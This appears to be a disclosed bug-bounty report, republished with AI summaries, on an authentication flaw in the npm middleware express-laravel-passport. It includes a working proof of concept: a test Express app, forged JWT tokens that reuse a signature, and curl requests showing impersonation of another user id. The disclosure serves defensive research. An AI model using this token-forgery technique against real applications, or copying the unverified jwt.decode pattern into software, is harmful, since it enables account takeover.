[express-laravel-passport] Improper Authentication
The express-laravel-passport middleware decodes the JWT token without verifying its signature, so an attacker can change the token payload to impersonate any user. The report demonstrates that a token with a modified jti claim and an invalid signature is still accepted.
- Triaged in 2 days
- Fixed in 36 days
- Disclosed after 37 days
Summary by the researcher
Research based on this and other JWT related H1 reports: https://r2c.dev/blog/2020/hardcoded-secrets-unverified-tokens-and-other-common-jwt-mistakes/
The report
I would like to report Improper Authentication in express-laravel-passport
It allows to forge user's identity
Module
module name: express-laravel-passport
version: 1.1.2
npm page: https://www.npmjs.com/package/express-laravel-passport
Module Description
You want a middleware support express get authorization from laravel-passport-structured database, this will help you.
Module Stats
14 weekly downloads
Vulnerability
Vulnerability Description
express-laravel-passport is an authentication middleware which utilizes JWT tokens. The module defined to handle authentication but does not validate the JWT token sent by the user. Therefore it allows modifying payload within the token. This weakness provides an opportunity to forge the user's identity by changing the information inside the token's payload that is used to authenticate the client.
source code example:
https://github.com/EugeneNguyen/express-laravel-passport/blob/master/src/index.js#L13
const { jti } = jwt.decode(token);
jti variable retrieved from the token without any verification
Steps To Reproduce:
- create directory for testing
mkdir poc
cd poc/
- install dependencies required for
express-laravel-passportand test app to work
npm init
npm i express
npm i [email protected]
npm i sqlite3
npm i express-laravel-passport
- create
index.jswith test application code
const express = require('express')
const Sequelize = require('sequelize')
const passport = require('express-laravel-passport')
// create inmemory Sqlite DB for testing purposes
const sequelize = new Sequelize('database', 'username', 'password', {dialect: 'sqlite'})
// init express
const app = express()
const port = 3000
// create instance of `express-laravel-passport`
const passportMiddleware = passport(sequelize)
// create db Model that simulates structure required for `express-laravel-passport` to work properly
const Model = sequelize.define('oauth_access_tokens', {
user_id: Sequelize.INTEGER
}, {
timestamps: false
});
// create DB
sequelize.sync()
// put some test data to DB
.then(() => Model.bulkCreate([{user_id:1},{user_id:2},{user_id:3}]))
// run the express app with `express-laravel-passport` as middleware
.then(() => {
app.get('/', passportMiddleware, (req, res) => {
const user_id = req.user_id;
if (user_id) {
res.send(`logged in as: ${user_id}\n`)
} else {
res.send('not logged in\n')
}
})
app.listen(port, () => console.log(`Example app listening on port ${port}!`))
})
- run it
node index.js
the app runs on localhost:3000, so now you can send requests to this address in order to test its behaviour
- send crafted request with JWT token in
authorizationheader
token is eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJqdGkiOjF9.n4tWlxEua5n2OtGTUIxIofRS1Rh3tXRsx6B8jIXPsdc
which represents this payload: {"jti": 1} and was simply created at www.jwt.io
curl -H "authorization:Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJqdGkiOjF9.n4tWlxEua5n2OtGTUIxIofRS1Rh3tXRsx6B8jIXPsdc" localhost:3000
logged in as: 1 is logged to the console as a result
- send another crafted request with JWT token in
authorizationheader
token is eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJqdGkiOjJ9.n4tWlxEua5n2OtGTUIxIofRS1Rh3tXRsx6B8jIXPsdc
which represents this payload: {"jti": 2} BUT keeps the signature from previous token (n4tWlxEua5n2OtGTUIxIofRS1Rh3tXRsx6B8jIXPsdc), therefore this token is not valid by any means
curl -H "authorization:Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJqdGkiOjJ9.n4tWlxEua5n2OtGTUIxIofRS1Rh3tXRsx6B8jIXPsdc" localhost:3000
logged in as: 2 is logged to the console as a result, which illustrates the fact that it is possible to forge JWT tokens and fake id of the user.
While testing you can put a breakpoint in poc/node_modules/express-laravel-passport/src/index.js file on line 13, to make sure that it is the express-laravel-passport responsible for handling token verification
Patch
Supporting Material/References:
- OPERATING SYSTEM VERSION: Linux Mint current
- NODEJS VERSION: 12.7.0
- NPM VERSION: 6.10.0
Wrap up
- I contacted the maintainer to let them know: N
- I opened an issue in the related repository: N
Impact
This weakness provides opportunity to forge user's identity by changing information inside token's payload that is used to verify the client.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The middleware uses jwt.decode to read the token payload without calling jwt.verify to check the signature.
Impact
An attacker could forge a JWT token to impersonate any user by changing the token payload, as the signature is not verified.
What the attacker needed
Access to the application; ability to send HTTP requests
How it was found
- Set up a test Express app using express-laravel-passport with a SQLite database.
- Send a request with a valid JWT token in the authorization header.
- Modify the token payload (change jti from 1 to 2) but keep the old signature.
- Send the modified token and observe that the server accepts it and logs in as the new user.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A JWT is a token that proves who you are, and it is signed so that it cannot be changed without detection. This library reads the token but never checks the signature, so anyone can edit the token to claim to be another user. The attacker just changes a number in the token and the server believes them.
What is Account takeover?
Getting into someone else's account through a flaw in sign-in, password reset, second factor, single sign-on or session handling.